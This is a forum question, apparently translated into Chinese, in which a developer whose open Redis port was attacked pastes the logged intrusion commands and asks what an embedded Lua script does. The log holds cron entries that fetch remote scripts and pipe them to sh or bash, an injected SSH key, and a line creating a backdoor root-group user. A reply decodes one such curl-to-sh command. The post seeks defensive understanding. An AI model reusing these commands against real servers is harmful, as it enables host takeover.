我在开发机上使用redis，有一个开放的端口。最近有人试图通过redis访问我的主机，我有一个监控redis的控制台，以下是他们用来获取访问权限的命令。我还提供了一些命令的日期时间。
GMT: Monday, August 21, 2017 4:47:53.384 AM [0 74.82.47.3:46986] "INFO"
[0 94.74.81.202:55564] "COMMAND"
[0 94.74.81.202:55564] "flushall"
[0 94.74.81.202:55606] "COMMAND"
GMT: Monday, August 21, 2017 9:21:43.586 AM [0 94.74.81.202:55606] "set" "crackit" "\n\n\nssh-rsa .....<ssh_key>.... redis@redis.io\n\n\n\n"
[0 94.74.81.202:55646] "COMMAND"
[0 185.163.109.66:40470] "INFO"
[0 185.163.109.66:40470] "SCAN" "9000"
[0 74.82.47.5:39660] "INFO"
[0 98.142.140.13:51586] "INFO"
[0 98.142.140.13:51586] "SET" "sxyxgboqet" "\n\n*/1 * * * * /usr/bin/curl -fsSL http://98.142.140.13:8220/test11.sh | sh\n\n"
[0 52.14.111.241:58464] "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\tcurl http://112.74.29.139:8898/1.sh|bash\n\n"
[0 106.2.120.103:41329] "INFO"
GMT: Tuesday, August 22, 2017 9:56:04.350 PM [0 178.62.175.211:58716] "eval" "local asnum ... see link below "
...完整的Lua脚本...
[0 184.105.247.252:33152] "INFO"
GMT: Wednesday, August 23, 2017 7:18:35.995 AM [0 52.14.111.241:49208] "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\t(useradd -G root axis2;(echo 'asdf1234' | passwd --stdin axis2) || (echo 'axis2:
asdf1234' |chpasswd));crontab -r;:>/etc/crontab;\n\n"
GMT: Wednesday, August 23, 2017 6:04:36.397 PM [0 98.142.140.13:43540] "INFO"
GMT: Thursday, August 24, 2017 5:22:26.931 AM [0 216.218.206.68:19396] "INFO"
以下是我redis.log文件中的内容
22 Aug 09:59:29.865 AM * RDB: 6 MB of memory used by copy-on-write
22 Aug 09:59:29.951 AM * Background saving terminated with success
22 Aug 09:59:30.137 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.049 AM * 1 changes in 900 seconds. Saving...
23 Aug 07:18:36.052 AM * Background saving started by pid 25388
23 Aug 07:18:36.054 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.153 AM # Background saving error
.............
repeated every 6 minutes
有人可以解释一下 Lua 脚本具体是做什么的吗？根据 Redis 日志，我猜测它试图评估保存在“lololili”键中的 bash 命令。
提前感谢您。
curl http://185.169.198.42/assets/Circle_JJ.png | sh命令（此命令在 Lua 脚本中的多个 "dwords_to_double" 调用中进行编码）。 - Egor Skriptunoff